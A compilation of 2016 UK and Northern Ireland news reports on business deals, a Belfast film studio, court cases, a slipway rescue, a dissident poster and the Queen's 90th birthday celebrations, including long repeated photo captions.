"It's come to a point where creditors are looking at ways to turn the company around and recover some of their money. One of those routes is a debt for equity swap," a source with knowledge of the matter said.

One of Four Seasons' biggest creditors includes US investment fund HCP, which is considering a number of options including proposing waiving some of its debt in exchange for equity.

Terra Firma is controlled by City financier and Guernsey-based tax exile Guy Hands, and Fours Seasons' debt is linked to his 825 million takeover of the firm in 2012.

Credit ratings agency Standard & Poor's has warned that Four Seasons will run out of cash by June unless it undergoes financial restructuring.

To this end, Four Seasons has enlisted the services of PJT Partners and Allen & Overy to assess its options.

A Four Seasons Health Care spokesperson said the firm has "medium term" finances for its needs, adding: "As we have previously said, we have appointed advisers to help us enhance the group's financial flexibility.

"Quality and standard of patient care is our highest priority and we can't envisage any scenario that would have any effect on the quality of care for residents in our homes or patients in our specialist care units."

Hands is best known for his 2007 takeover of EMI, the record label which signed up the Beatles. The deal ended in disaster when he was forced to hand the business over to lender Citigroup four years later.
An artists impression of the new film studios

Work has started on a major 20m film studio for Belfast to help meet burgeoning demand for movie and TV productions.

The North Foreshore Film Studios will create up to 200 jobs during construction.

The project is being overseen by Belfast Harbour, covering around seven acres on the soon-to-be redeveloped Giant's Park, a 340-acre former landfill site.

Newry company O'Hare & McGovern has been awarded the contract to begin building the two film studios and a sound stage, along with workshops and production space.

Northern Ireland's credentials in the TV and film business have risen steadily in recent years.

Dark fantasy epic Game of Thrones continues to be part-filmed here, while other productions shot at the existing studios include Your Highness and 2007's City of Ember, starring Bill Murray.

Belfast Harbour's chief executive Roy Adair said the organisation had "worked extremely hard to bring this project from plans to reality".

"Northern Ireland's production industry has gone from strength to strength in recent years with major shows such as Game of Thrones," he added.

"In the past two years, the industry has generated an estimated 137m of spend in the local economy. To keep pace with demand, we identified the opportunity to develop new film studios."

In February, there was an 11th hour spanner thrown in the works for the project, when Titanic Quarter Ltd objected to the development just as it was about to be given the green light for planning approval.

Titanic Quarter is already home to Titanic Studios, while Titanic Quarter Ltd has planning permission for new studios.

Belfast Harbour commenced High Court proceedings against Titanic Quarter Ltd in a dispute about a "master agreement" for development schemes.

However, planning permission for the new studio was granted.

Eamon O'Hare, managing director of O'Hare & McGovern, said the project was "one of the most exciting developments ever undertaken by the company".

"It's another showpiece project, which, when completed, will be the landmark building on Belfast Lough's foreshore," he added.

And Richard Williams, chief of Northern Ireland Screen, said: "It is well known within the global screen industry that the demand for studio space currently outstrips supply in the UK.

"We are delighted that the proposed new (developments) on the north foreshore are going ahead and with our recent successful track record in attracting large-scale film and TV production to Northern Ireland."

The studios are being designed by Belfast-based RPP Architects.

The latest development for Belfast Harbour will be one of several new uses for the north foreshore site.

It is also going to become the home of Giant's Park - an ambitious 9.5m renewables sector business park, which is expected to create 400 jobs.
Steve Easterbrook is the first Briton to be appointed president and chief executive of the US fast food giant

Fast food giant McDonald's has bolstered overseas sales thanks to a strong performance from its UK business.

The restaurant chain said the UK - coupled with Australia and Canada - helped international lead sales rise 5.2% in the first quarter.

It came as a strong appetite for its all-day breakfast menu lif ted US sales for the third straight quarter in a row, climbing 5.4% for the first quarter to March 31 this year.

The company said revenues came in ahead of expectations at 5.9 billion US dollars (4.1 billion) over the period.

Chief executive Steve Easterbrook said the sales performance underscored the fact that its turnaround plan was "taking hold".

Mr Easterbrook was the first Briton to be appointed president and chief executive of the business when he took over from Don Thompson last year.

His appointment came as the world's biggest burger chain faces slumping sales in the US, faced with intense competition and changing consumer tastes.

He added: " The ongoing investments we're making in running great restaurants and delivering what matters most to our customers are beginning to yield sustained positive results.

"For the quarter, we generated higher sales, revenues and operating income in constant currencies across all business segments."

The company added that is high growth unit, which includes China, saw sales pick up 3.6%, while foundational markets including Japan rose 11%.

European authorities launched an investigation into McDonald's in December amid allegations it had struck a ''sweetheart'' tax deal with Luxembourg.

The European Commission said the probe would look at alleged deals struck by the global giant to avoid paying taxes in Luxembourg and the US.

A spokesman for McDonald's said at the time that the group complies with all tax laws in Europe and pays a ''significant amount'' of corporate income tax.
Premier Foods turned down offers from US company McCormick

Mr Kipling and Bisto owner Premier Foods has entered into a "relationship agreement" with Japanese noodle maker Nissin, just weeks after rejecting a takeover by US giant McCormick.

The firm said Nissin will have the right to appoint a non-executive director because its shareholding is above 15%.

McCormick made three attempts to buy Premier, with the last offer valuing the company at 1.5 billion.

Shareholders including Standard Life had urged Premier's board to consider McCormick's offer, but the US firm eventually walked away last week, resulting in Premier's shares dropping 30%.
The Mossack Fonseca law firm in Panama City, which said to have had more than 11 million documents leaked on the financial dealings of the rich and famous (AP)

The Panama Papers data leak - one of the most fervently discussed news items of the year is already being shopped around Hollywood; with plans to adapt the yet-to-be-published book on the subject into a feature film.

Secrecy World, penned by Pulitzer prize-winning journalist Jake Bernstein, is set to be published in the latter half of 2017; yet studios and producers are already vying over who will attain the film rights for the book, the Guardian reports.

The non-fiction piece will recount the story behind the batch of leaked documents that implicated many high-profile figures, including David Cameron and Jackie Chan, in their use of offshore tax firms.

It's certainly a logical move for Hollywood following the Oscar-nominated success of Adam McKay's The Big Short, focused on the housing market's role in the 2007/8 financial crisis.

Indeed, topically-focused films aiming to unmask the secretive and the elite are increasingly becoming a hot trend for studios; with Spotlight's Best Picture Academy Award honoring the journalists who uncovered the Catholic Church's vast cover-up of systemic child abuse in the Boston area.

Upcoming is Oliver Stone's Snowden, which stars Joseph Gordon-Levitt as the CIA employee-turned-NSA whistleblower; with its release date recently pushed back to 16 September to qualify as an awards contender.

Independent
The firm specialised in the manufacture of structural and architectural steel metalwork

More than 170 jobs have been lost after a steel construction company moved to appoint an administrator.

Lisburn-based McGrath Bros (Engineering) Group Ltd and its sister company, Construction Architectural Metalwork Limited, ceased trading on Friday.

The employer, which specialised in the manufacture of structural and architectural steel metalwork, had staff in sites in Northern Ireland, London, Birmingham and the south-east of England. Of the 171 jobs lost, 121 were Lisburn-based.

Joint managing director Brian McGrath said: "It is with deep regret that the directors and founders of McGrath Bros (Engineering) Group Ltd have had to make this difficult decision.

"Trading conditions in the manufacturing and construction sectors have had a severe impact on our business.

"Legacy contracts taken on during the recession have also taken their toll on main contractors and specialist sub-contractors alike, all linking to underpayments of completed works and disputed final accounts.

"We have explored all possible options to continue operations and remain in business. Sadly, despite our efforts, we have been unable to find a positive outcome.

"We know this will be a very difficult time for our staff, many of who have given years of loyal service to the company."

Mr McGrath said he hoped that an administrator could find a buyer for the company and that some jobs could be saved.
A Co Antrim woman twice forced to terminate pregnancies is to end her legal action over new guidelines on abortion in Northern Ireland.

A Co Antrim woman twice forced to terminate pregnancies is to end her legal action over new guidelines on abortion in Northern Ireland.

With the Department of Health having published revised guidelines last month, her lawyers said she had achieved her goal in the proceedings.

They are now set to argue that she should be awarded costs of bringing the challenge.

The woman had sought to judicially review the department over an alleged continued failure to issue the new guidance to medical professionals.

She claimed the delay compounded the trauma of losing her babies.

Last year a High Court judge ruled that abortion legislation in Northern Ireland is in breach of human rights law.

Terminations are currently only allowed within the region if the mother's life or mental well-being are considered at risk.

But a landmark judicial review found the failure to provide exceptions to the ban for pregnant women in cases of fatal foetal abnormality or resulting from a sex crime breached their rights to private and family life.

Stormont's Justice Minister David Ford and Attorney General John Larkin QC are set to appeal that verdict in June.

Separate litigation was brought by the woman from Co Antrim who had to undergo two separate abortions.

Granted anonymity in the case, in 2013 she had to travel to a clinic in England to terminate twins with fatal foetal abnormalities.

Staff at a Belfast hospital believed they were unable to carry out the abortion due to uncertainty around the law, according to papers in the case.

Last year, after proceedings were commenced, she again discovered that a second pregnancy was also non-viable.

On that occasion, however, she was able to have an abortion at another hospital in Belfast.

Consultants decided that continuing with the pregnancy could have serious consequences for her mental health.

In her challenge, she claimed there was a legitimate expectation that the guidelines would be published in final form.

But at the High Court on Friday her barrister, Frank O'Donoghue QC, indicated that the publication of the guidance meant she had secured the relief sought.

Following the brief hearing the woman's solicitor, Peter Bowles, said: "We are pleased that is has finally been issued by the department after many years.

"We are currently studying the adequacy of the guidance and waiting to see how it complies with the forthcoming decision of the Court of Appeal."

Mr Bowles added: "My client has achieved what she set out to obtain in these proceedings."
Concerned parents have welcomed a decision by Education Minister John O'Dowd to order an independent investigation into a staff absences dispute at De La Salle College.

While the Sinn Fein Minister was previously reluctant to sanction the probe, he went ahead after receiving new details from parents and other sources linked to the west Belfast school.

The U-turn comes after this paper on Wednesday reported how the INTO teaching union had instructed its members not to co-operate with school principal Claire White.

The new investigation will look at staff relationships, senior leadership, governance of the school and the impact of the ongoing dispute on pupils.

The Concerned Parents Committee welcomed the move. "We have worked tirelessly over many weeks calling for this investigation," it said in a statement.

"We have spent many, many hours compiling a dossier, and we can proudly say that our efforts have paid off.

"We believe that the investigation will answer our questions, clarify any confusion and get to the core of what has been going on at the school."

The group also thanked Mr O'Dowd for ordering the probe.

The Education Minister said he expected a report by the early summer. "My priority remains the education of these young people," he added.

"Work continues to be undertaken by the relevant authorities and associate principal Imelda Jordan to address the immediate concerns within the school, and this investigation will not impede that important work. However, it is important to independently review all the circumstances that gave rise to this serious situation and to come up with recommendations that will ensure the school's success."

The scope of the investigation will cover the implementation of key policies, staff welfare, work relationships, governance arrangements and more.

The probe can be broadened if those in charge feel it necessary to do so. The Department of Education will shortly finalise the arrangements for appointing the investigators.
Two quick-thinking Transport NI workers have been hailed as heroes after they prevented a disabled driver in his car from sliding into the River Foyle in a terrifying incident that had echoes of the Buncrana pier tragedy.

Just one month after five members of the McGrotty and Daniels families lost their lives in Co Donegal, a driver found himself in similar danger in Londonderry.

Transport NI's Darren McGrellis and Raymond Shields were on their lunch break at Culmore Point when they heard distressed shouts for help coming from a slipway into the Foyle.

With no thought for their own safety, the two colleagues ran to the slipway and were horrified to see the driver stuck inside his car, which was parked on a bed of slippery seaweed near the edge of the slipway.

Speaking to the Belfast Telegraph, Mr McGrellis said all he could think of at the time was last month's Buncrana drowning tragedy, in which five members of the same Derry family died when their car slid into Lough Swilly.

"We heard someone shouting in panic for help and so we ran straight away to the slipway," he said. "All either of us could think about when we saw the man inside his car so close to the edge was what had happened in Buncrana.

"We ran to him straight away and could hear him talking to the emergency services - but he was in hysterics so I took the phone off him while Raymond grabbed the car.

"We were both trying to hold on to the car and I was talking to the person on the phone who kept saying, 'You need to get him out of the car straight away.'

"The man was disabled - there were crutches in the car and he was wearing bedroom slippers, plus he was very distressed but we managed to get him out and up the slipway to safety. We got him calmed down and gave him a drink of water.

"But then Raymond noticed the car was sliding towards the river so we went back down and managed to jam bricks behind the wheels which stopped it moving any further.

"The Fire Service came then and between us we got a rope attached to the front of the man's car and pulled the car up the slipway.

"The wee man kept saying how embarrassed he was but he was so grateful to be safe too.

"He said to us, 'If I knew how to contact the Queen, I would get you two an MBE.'

"He was talking away about what had happened in Buncrana and I think he must have thought how close he came to the same thing happening to him - which it very easily could have because there wasn't anyone else around, only me and Raymond.

"It's doesn't bear thinking about how things could have ended if we hadn't been on our lunch break. It really took it out of us as well, we were mentally exhausted but thank God it worked out well this time."

The efforts of the two brave men were praised by the Fire Service Derry district commander Kevin Lynch. "We were called to attend an incident involving a car stuck on a slipway at Culmore Point," he said.

"I would like to commend the quick thinking and actions of the personnel from Transport NI. I would also urge members of the public not to put themselves at risk by driving onto slipways and to pay heed to safety signs."
A poster pasted on the 'International Wall' in west Belfast warning people to keep their mouths shut has been condemned by community leaders.

The flyer, showing a masked man with a Thompson submachine-gun, states 'Loose talk costs lives' and urges people to avoid it in public spaces. It concludes with a line written in red: 'Whatever you say - say nothing!'

So far no one has claimed responsibility for the Falls Road warning, but dissidents are assumed to be behind it.

It has been criticised as a throwback to the 1970s, and SDLP councillor Tim Attwood said it should be taken down immediately.

"This is deeply sinister and open intimidation. There is a shadow of a gunman hanging over any person who talks. It was an image and a message common years ago, when it was no less offensive or malicious," he said.

"For it to be replicated in this day and age is no less offensive or malicious, and those who placed it should catch themselves on and remove it.

"People should be encouraged to give information to the police in the effort to address terror. That's the message of the people of the Falls Road."

Belfast Irish Senator Mairia Cahill said society had moved on and that such messages only discouraged people from reporting crimes to the police.

"The people who erected it have no idea how hard it is to get abuse victims to go to the police, to get domestic violence victims to report their abuse, to get victims of assault, robbery, car theft and attempted murder to have confidence enough to feel safe to report crimes against them," she said.

"Scaring people, or attempting to control them, is what the IRA did when they erected the very same posters in the Seventies, Eighties and Nineties. It has no place in society and it shouldn't have had any place then.

"This type of fear is exactly what contributed to the real crime issue that west Belfast has today.

"Whoever erected this needs to give their heads a shake and take it down again. People should be free to live their lives minus intimidation."

The irony behind the message seems to have been lost on the dissidents.

The original anti-gossip campaign, which urged citizens to watch their tongues by not leaking secrets with phrases such as 'Careless talk costs lives' and 'Keep mum, she's not so dumb!' was used by the British Government during the Second World War to prevent the spread of information to its enemies.
Could you be a secret millionaire?

The National Lottery is hunting for a EuroMillions UK Millionaire Maker winner - who is yet to claim their prize.

Players in Fermanagh and Omagh are being urged to check and double-check their unique EuroMillions UK Millionaire Maker code for the chance to become an instant millionaire.

Every week Millionaire Maker guarantees to create two UK millionaires  one on Tuesday and one on Friday  but the lucky winner from the draw on Tuesday April 5 2016 has still to check their ticket and claim their prize.

The search is now on to find the owner of the winning ticket which was bought in the District Council Area of Fermanagh and Omagh.

For every EuroMillions line played, UK players automatically receive a Millionaire Maker code printed on their ticket.

The winning code on April 5 was MGY489185 and the lucky ticket-holder has until 2 October, 2016 to claim their prize.

If no-one comes forward with the winning ticket before the prize claim deadline, then the prize money, plus all the interest it has generated, will go to help National Lottery-funded projects across the UK.

The National Lottery changes the lives of individuals as well as communities  players raise, on average, over 34 million for National Lottery-funded projects every week.

A National Lottery spokesperson said: Were desperate to find this mystery ticket-holder and unite them with their winnings  this amazing prize could really make a huge difference to somebodys life.

Being able to guarantee two UK millionaires every week with EuroMillions UK Millionaire Maker is fantastic and were urging everyone who bought a EuroMillions ticket in this area to check their old tickets again or look anywhere a missing ticket could be hiding, so that this prize can turn someone into the newest member of the lottery millionaire club.

Try checking in the pockets of clothing, in wallets, bags and down the back of the sofa. We have the champagne on ice and our fingers crossed that the lucky winner comes forward to claim their win.

With all National Lottery draws, players have 180 days from the day of the draw to claim their prize if they have the winning ticket. Anyone who has any queries or who believes they have the winning ticket for any of the National Lottery draws within the 180-day deadline should call the National Lottery Line on 0844 338 7551 or email help@national-lottery.co.uk

Anyone concerned about lost or unchecked tickets may like to consider either setting up a National Lottery Direct Debit or playing online at www.national-lottery.co.uk. Numbers can be entered in advance and lucky winners are notified online if their numbers come up. For further information call 0845 912 5000 or visit www.national-lottery.co.uk
Four former executives at accountancy firm KPMG involved in an investigation into suspected tax evasion have launched a legal challenge over searches of their homes and offices in Belfast

Four former executives at accountancy firm KPMG involved in an investigation into suspected tax evasion have launched a legal challenge over searches of their homes and offices in Belfast.

Eamonn Donaghy, Jon D'Arcy, Paul Hollway and Arthur O'Brien are seeking to judicially review HM Revenue and Customs' handling of the probe.

The four partners in the firm's Belfast operation were reportedly arrested last November, but have not been charged with any wrongdoing. At the time KPMG said it was co-operating with the probe and had placed the men on "administrative leave".

In February KPMG said the four partners had retired. It said the inquiry related solely to the executives' personal affairs and was unrelated to the company's business or its clients.

The legal action was due to get under way at Belfast's High Court yesterday. But a panel of senior judges were told the four men want to amend a case, featuring a challenge to search warrants at their homes, to also include offices.

Their counsel, Barry Macdonald QC, said: "The amendment is made in relation to a search of business premises in circumstances where the applicants themselves have not been present when the searches were carried out. They were present at their homes when the searches were carried out."

A new statement from a witness dealing with what happened at those premises is set to be lodged. Granting permission to file the affidavit, Lord Justice Gillen listed the case for a further hearing next month.
WINDSOR, ENGLAND - APRIL 21: Queen Elizabeth II attends a beacon lighting ceremony to celebrate her 90th birthday on April 21, 2016 in Windsor, England. The Queen will light the principal beacon which will set in train a series of over 1,000 beacons across the country and worldwide. (Photo by Chris Jackson/Getty Images)

Queen Elizabeth II lights a beacon at Windsor Castle in Berkshire, as she celebrates her 90th birthday. Jonathan Brady/PA Wire

The Prince of Wales speaks before Queen Elizabeth II lights a beacon at Windsor Castle in Berkshire, as she celebrates her 90th birthday.Jonathan Brady/PA Wire

WINDSOR, ENGLAND - APRIL 21: Queen Elizabeth II lights a beacon to celebrate her 90th birthday on April 21, 2016 in Windsor, England. The Queen will light the principal beacon which will set in train a series of over 1,000 beacons across the country and worldwide. (Photo by Chris Jackson/Getty Images)

WINDSOR, ENGLAND - APRIL 21: Prince Charles, Prince of Wales speaks at a beacon lighting ceremony to celebrate the Queen's 90th birthday on April 21, 2016 in Windsor, England. The Queen will light the principal beacon which will set in train a series of over 1,000 beacons across the country and worldwide. (Photo by Chris Jackson/Getty Images)

The Prince of Wales speaks during a beacon lighting event at the Cambridge Gate of Windsor Castle to celebrate Queen Elizabeth II's 90th birthday.Jonathan Brady/PA Wire

WINDSOR, ENGLAND - APRIL 21: Queen Elizabeth II lights a beacon to celebrate her 90th birthday on April 21, 2016 in Windsor, England. Ballymena cadet Emma-Lee Wray stands wearing red sash. (Photo by Chris Jackson/Getty Images)

Ballymena cadet Emma-Lee Wray stands holding flowers as the Queen lights the first of her 90th birthday beacons. Picture: Screengrab BBC

A 17-year-old cadet from Northern Ireland has told of her immense pride as she stood by the Queen as she lit the first beacon during her 90th birthday celebrations.

On Thursday the Queen's 90th birthday was marked publicly by the nation as she became the country's first nonagenarian soverign.

The monarch went on a walkabout close to Windsor Castle where she was greeted by thousands of cheering well-wishers.

She later lit the first almost 1,000 beacons across the nation as Prince Charles paid tribute to her.

He said: "I find it very hard to believe that you've reached your 90th year and I suddenly realised the other day that I have known you since you were 22 years old.

"But this, ladies and gentleman, is a very special occasion and this beacon that her majesty is about to light will also represent - as it lights other beacons across the nation - the love and affection with which you are held throughout this country and the Commonwealth."

Standing by her side as the beacon lighting ceremony began was a cadet from Northern Ireland who was specially chosen for the task.

Emma-Lee Wray from Carnlough in Co Antrim was picked on the back of her cadet achievements where she has risen to the rank of company sergeant major.

She also has completed the Bronze and Silver Duke of Edinburgh Awards - alongside excelling academically at school with 8A* grades and an A in her GCSEs.

Speaking after the momentous occasion she said she felt "immense pride" at what she had done - and shared the humour remark made by the Duke of Edinburgh.

Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Previous Next Close Queen Elizabeth II and Prince Philip, Duke of Edinburgh travel through Windsor in an open top Range Rover after her 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by John Stillwell - WPA Pool/Getty Images) Getty Images The Royal Standard flies above Windsor Castle as the Queen celebrates her 90th birthday. Anthony Devlin/PA Wire PA Queen Elizabeth II and Prince Philip, Duke of Edinburgh travel through Windsor in an open top Range Rover after her 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by John Stillwell - WPA Pool/Getty Images) Getty Images Queen Elizabeth II talks to local women who are all aged in their nineties during her 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by John Stillwell - WPA Pool/Getty Images) Getty Images Queen Elizabeth II talks to local women who are all aged in their nineties during her 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by John Stillwell - WPA Pool/Getty Images) Getty Images Queen Elizabeth II and Prince Philip, Duke of Edinburgh wave from the top of an open Range Rover on the monarch's 90th Birthday on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by Chris Jackson/Getty Images) Getty Images Britain's Queen Elizabeth II (centre L) accompanied by her husband Prince Philip, Duke of Edinburgh greet wellwishers during a 'walkabout' on her 90th birthday in Windsor, west of London, on April 21, 2016. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images Britain's Queen Elizabeth II (L) accompanied by Prince Philip, Duke of Edinburgh greet wellwishers during a walkabout on her 90th birthday in Windsor on April 21, 2016. AFP PHOTO / BEN STANSALLBEN STANSALL/AFP/Getty Images AFP/Getty Images Queen Elizabeth II waves to well wishers from a open top Range Rover in Windsor, Berkshire, as she celebrates her 90th birthday. Anthony Devlin/PA Wire PA Queen Elizabeth II meets the public on her 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by Chris Jackson/Getty Images) Getty Images Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Anthony Devlin/PA Wire PA Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Anthony Devlin/PA Wire PA Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Anthony Devlin/PA Wire PA Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Anthony Devlin/PA Wire PA A gun fires during a 41 gun royal salute to mark the 90th birthday of Queen Elizabeth II at Hyde Park on April 21, 2016 in London, England. 71 horses pulled six First World War-era 13-pounder field guns into place at Hyde Park to fire forty one blank shots. The soldiers, horses and guns are from The King's Troop Royal Horse Artillery who rode out from their forward mounting base in Wellington Barracks and are commanded by Major Robert Skeggs. (Photo by Chris Ratcliffe/Getty Images) Getty Images A gun fires during a 41 gun royal salute to mark the 90th birthday of Queen Elizabeth II at Hyde Park on April 21, 2016 in London, England. 71 horses pulled six First World War-era 13-pounder field guns into place at Hyde Park to fire forty one blank shots. The soldiers, horses and guns are from The King's Troop Royal Horse Artillery who rode out from their forward mounting base in Wellington Barracks and are commanded by Major Robert Skeggs. (Photo by Chris Ratcliffe/Getty Images) Getty Images Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Andrew Matthews/PA Wire PA Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Anthony Devlin/PA Wire PA Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Andrew Matthews/PA Wire PA Queen Elizabeth II attends a Walkabout to celebrate her 90th Birthday on April 21, 2016 in Windsor, England. (Photo by Chris Jackson/Getty Images) Getty Images Queen Elizabeth II attends a Walkabout to celebrate her 90th Birthday on April 21, 2016 in Windsor, England. (Photo by Chris Jackson/Getty Images) Getty Images Queen Elizabeth II attends a Walkabout to celebrate her 90th Birthday on April 21, 2016 in Windsor, England. (Photo by Chris Jackson/Getty Images) Getty Images Queen Elizabeth II attends a Walkabout to celebrate her 90th Birthday on April 21, 2016 in Windsor, England. (Photo by Chris Jackson/Getty Images) Getty Images Queen Elizabeth II attends a Walkabout to celebrate her 90th Birthday on April 21, 2016 in Windsor, England. (Photo by Chris Jackson/Getty Images) Getty Images Queen Elizabeth II attends a Walkabout to celebrate her 90th Birthday on April 21, 2016 in Windsor, England. (Photo by Chris Jackson/Getty Images) Getty Images The Burger King restaurant at Tottenham Court Road in London, which has been rebranded for one day only as 'Burger Queen', in honour of Queen Elizabeth II's 90th birthday. David Parry/PA Wire PA Members of the 1st Battalion Welsh Guards band play outside Cardiff Castle in Cardiff, ahead of a 21 Gun salute in honour of The Queen's 90th birthday. Ben Wright/PA Wire PA Crowds gather for the Queen's 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by Chris Jackson/Getty Images) Getty Images Crowds gather outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. Andrew Matthews/PA Wire PA Crowds gather outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA Town criers Steve Clow (left) and Peter Baker join crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. Photo credit: John Stillwell/PA Wire PA Judy (left) and Anne Daley, from Wales, join crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA Sandra Martin from TV show Gogglebox joins crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA Royal supporters pose for pictures outside Windsor Castle, west of London, on April 21, 2016, as Britain's Queen Elizabeth II celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images David Weeks joins crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA Royal supporters pose for pictures outside Windsor Castle, west of London, on April 21, 2016, as Britain's Queen Elizabeth II celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images Royal enthusiast Margaret Tyler holds a cake that she has made for Queen Elizabeth II outside Windsor Castle in Berkshire before a walkabout by the Queen as she celebrates her 90th birthday. John Stillwell/PA Wire PA Steve Clow, one of the 'Three Criers' Town Criers prepares for the Queen's 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. Photo by Chris Jackson/Getty Images) Getty Images The 'Three Criers' Tony Appleton, Steve Clow and Peter Baker prepare for the Queen's 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by Chris Jackson/Getty Images) Getty Images Judy Daley and Anne Daley from Cardiff wait in position for the Queen's 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by Chris Jackson/Getty Images) Getty Images Dennis Melvin waits in position for the Queen's 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by Chris Jackson/Getty Images) Getty Images Royal enthusiast John Loughrey and Kathy Martin join crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA Royal supporters pose for pictures outside Windsor Castle, west of London, on April 21, 2016, as Britain's Queen Elizabeth II celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images A rosette wishing Britain's Queen Elizabeth II a happy birthday is pictured on a royal supporter outside Windsor Castle, west of London, on April 21, 2016, as the Queen celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images Royal supporters pose for pictures outside Windsor Castle, west of London, on April 21, 2016, as Britain's Queen Elizabeth II celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images Royal supporters gather outside Windsor Castle, west of London, on April 21, 2016, as Britain's Queen Elizabeth II celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images Bunting is pictured outside Windsor Castle, west of London, on April 21, 2016, as Britain's Queen Elizabeth II celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images Royal enthusiast Margaret Tyler holds a cake that she has made for Queen Elizabeth II outside Windsor Castle in Berkshire before a walkabout by the Queen as she celebrates her 90th birthday. John Stillwell/PA Wire PA The cake made for Queen Elizabeth II by royal enthusiast Margaret Tyler is seen outside Windsor Castle in Berkshire before a walkabout by the Queen as she celebrates her 90th birthday. John Stillwell/PA Wire PA Royal enthusiast John Loughrey joins crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA Donna Werner, from Connecticut in the USA, joins crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA / Facebook

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Whatsapp Queen Elizabeth II and Prince Philip, Duke of Edinburgh travel through Windsor in an open top Range Rover after her 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by John Stillwell - WPA Pool/Getty Images)

She told the Belfast Telegraph: "It was an unforgettable experience.

"I never thought I'd be so close but I met them all and the Duke of Edinburgh was really funny.

"The Queen accepted my flowers and asked did I pick them myself

"And I told her unfortunately not."

"The beacon took a moment to light and the Duke asked "does any one have a match".

She added: "I am immensely proud of what I did and just feel so honoured."

Meanwhile members of the Army Cadet Forces lit beacons at the top of the four highest peaks in the UK - including Slieve Donard in Northern Ireland.
The officer responsible for the tweet faces disciplinary action.

The Police Ombudsman has recommended disciplinary proceedings to be taken against a PSNI officer who branded "young loyalists" as being responsible for anti-social behaviour, describing their actions as "appalling".

Following rioting in the Woodvale area of north Belfast last year the PSNI's north Belfast twitter profile tweeted a picture of smashed glass at the entrance to an older people's home.

"Young loyalists in Woodvale leave entrance to older people's home in state 2 years after last time. Appalling," the tweet said.

It was later removed.

Following a complaint, the Police Ombudsman has recommended disciplinary proceedings against the officer responsible.

A spokesman said: "Our investigation into this matter concluded that the information in the tweet could not be verified."
